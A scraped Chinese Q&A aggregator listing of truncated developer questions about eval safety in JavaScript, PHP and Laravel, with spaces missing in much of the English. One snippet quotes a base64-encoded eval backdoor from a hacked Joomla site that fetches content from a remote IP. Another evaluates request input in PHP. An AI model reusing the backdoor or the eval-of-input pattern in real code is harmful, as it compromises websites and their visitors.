草庐IT

Ruby block 、procs 和 instance_eval

全部标签

javascript - ES6 模板文字比 eval 更安全吗?

模板字面量对我来说有点像eval,它经常被引用为usingevalisabadidea.我不关心performanceoftemplateliterals,但我担心注入(inject)攻击(以及我可能没有想到的其他安全问题)。编辑Anexampleofsomethingthatfeelsoddtomeletii=1;functioncounter(){returnii++;}console.log(`${counter()},${ii++},${counter()}`);哪些输出1,2,3模板文字在全局级别产生副作用。既可以通过函数,也可以直接。编辑2Anexampleindicati

php - CodeIgniter &get_instance() 在 php5.6 版本中不工作?

我的codeigniter网站在php5.4版本中运行正常,但是当我将我的php版本升级到php5.6.30时,它无法正常工作。function&get_instance(){returnCI_Controller::get_instance();}以上函数位于我文件的第233行,它返回空值。错误-fatalerror:在第233行的Coginiter_site\system\core\CodeIgniter.php中找不到类“CI_Controller”我已经追踪到错误点-system/core/common.php下的代码if(!function_exists('load_clas

php - Laravel - 带有 blade compileString 的 php eval

我正在尝试将Blade模板字符串解析为php格式,并使用eval()将字符串作为php代码求值$array=['foo'=>'bar','bar'=>'foo'];$content='@foreach($arrayas$value){{$value}}@endforeach';$blade=Blade::compileString($content);$php=eval($blade);这是我到目前为止的测试代码,它抛出异常ParseError:syntaxerror,unexpected'$blade在compileString()之后的值addLoop($__currentLoop

php - 如何在 php 中安全地使用 eval?

我知道只要有用户输入,有些人可能只会回答“从不”。但是假设我有这样的东西:$version=$_REQUEST['version'];$test='return$version>3;';$success=eval($test);这显然是一个简化的案例,但是用户可以输入什么作为version来让它做一些恶意的事情吗?如果我限制$test可以采用的字符串类型来将某些变量的值与其他变量进行比较,有没有任何人可以看到利用它的方法?编辑我已尝试在服务器上运行以下脚本,但没有任何反应:3;';$result=eval('return'.$teststr);var_dump($result);?>我

pipe - 使用 proc_open() 加载 .profile

情况是这样的:我编写了一个后端应用程序,它在某个服务器上运行。在此服务器上,有一个脚本可以通过ssh从前端服务器执行。然后我的脚本将检查是否正确加载了它需要的环境变量,因为我在脚本本身中严重依赖它们。这行得通,尽管不是我希望的工作方式。建立连接后,./profile不会加载,仅使用exec('source/home/user/.profile');当然是行不通的。由于脚本已经在运行。这就是为什么脚本是这样开始的:#!/to/php/bin/php-n那个帮助脚本是一个ksh脚本:#!/path/kshsource/.profile$*加载配置文件,并再次调用第一个脚本。我希望第二个脚本

php - AWS EC2 Spot Instance PHP 在发出现货请求时添加标签

我希望能够在通过PHP发出spot请求时包含一个标记。创建按需实例时,您可以创建实例,然后使用它的实例发出以下内容:$ec2->create_tags($instance_id,array(array('Key'=>'Name','Value'=>'MyTestMachine'),));但是,发出竞价时,实例不会立即启动,因此您必须创建一个观察者标签来处理此问题……除非您可以在请求阶段添加标签。我还没有找到任何文档来说明这将如何进行或看起来如何,它是否存在? 最佳答案 答案是在实际创建实例之前不能分配标签。为了标记这个,我使用了一个

PHP EVAL - 解决不安全问题

我们有一个系统必须执行用户输入提供的计算。我发现进行其中一种计算的最简单方法是eval——尝试找出一个解析器用于:(3+6)/2+27*5/2只是看起来很难。如果有人对此有解决方案-我很乐意听到。假设您要使用EVAL(我知道它的可怕功能),允许他们在该框中键入他们想要的任何内容将是一个主要的不安全因素。所以,我提出这个问题,如果我做一个正则表达式,删除除数字、标准运算符(+-/*)和括号之外的所有内容,比如$equation=preg_replace('/[^0-9+-\/*()]/','',$input_equation);$result=eval($equation);系统是否可能

php, proc_open 如何传递多个参数

我正在编写可在*nix系统下运行的php代码。我需要在php代码中调用带有5个参数的python脚本。一些争论是用户输入,所以可能有任何字符。我不知道如何将参数传递给脚本。我将如何分开论点?例如在thisquestion您按行尾字符分隔,但在我的论点中可以是用户编写的任何内容。如何传递这样的论点?有什么想法吗?编辑:我有将转义字符放在每个引号符号'或"之前的想法传递参数,在另一端我将摆脱转义字符。json编码可以吗? 最佳答案 你想要的函数是escapeshellcmd():$arg1=escapeshellarg($input1)

php - 这样使用 eval 安全吗?

假设我有一个名为query.sql的文件,其中包含以下内容:SELECT*FROM`users`WHERE`id`!=".$q->Num($_POST['id'])."在我的php脚本中,它有一个带有名为“id”的输入的html表单,我做了以下技巧:$sql=file_get_contents('query.sql');$query=eval("return\"$sql\";");//herefollowssomethinglike$mysqli->query($query);andsoon..我不关心SQL注入(inject),因为我使用的是准备好的语句并且$q->Num执行is_i

php - 网站后门 & eval()

关闭。这个问题是off-topic.它目前不接受答案。想改进这个问题吗?Updatethequestion所以它是on-topic用于堆栈溢出。关闭9年前。Improvethisquestion我运行的Joomla1.7网站今天被黑了。下面的脚本进行了破解。eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU